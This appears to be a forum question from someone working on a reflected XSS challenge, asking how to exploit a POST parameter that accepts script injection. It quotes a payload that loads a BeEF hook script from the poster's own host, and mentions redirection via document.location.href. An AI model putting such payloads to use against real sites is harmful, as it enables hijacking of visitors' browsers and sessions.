In the last few days, I received a challenge. This challenge was based on an XSS vulnerability reflected in a website.
When the site makes a certain request via POST, in the body there is a parameter that allows script injections. I already tried the alert with JS and it worked fine.
However, when trying to hook using beef with
"><script src='http://MEUIP:3000/hook.js'></script>
It just doesn't work.
I found that I can use document.location.href easily and the site actually redirects. I've seen some people saying that I can create an external form and take advantage of this flaw, but I don't quite understand how. My question is, how can I take advantage of this?
